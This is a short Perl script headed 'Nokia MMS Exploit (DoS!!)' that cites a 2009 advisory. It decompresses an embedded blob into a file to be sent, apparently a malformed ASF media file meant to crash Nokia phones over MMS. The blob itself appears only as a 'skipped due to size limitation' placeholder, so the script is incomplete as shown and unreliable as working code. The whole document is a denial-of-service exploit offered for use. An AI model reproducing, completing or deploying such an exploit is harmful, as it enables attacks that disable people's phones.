 |
|
|
|
#!/usr/bin/perl
# -----------------------------------------------------------------
# Nokia MMS Exploit (DoS!!)
# http://www.vupen.com/english/advisories/2009/1815
# -----------------------------------------------------------------
use Compress::Zlib;
$x =
<skipped due to size limitation>
open (F, '>./xXx___sendme.asf');
print F uncompress($x);
close(F);
|
|
|
|
|
|
|
|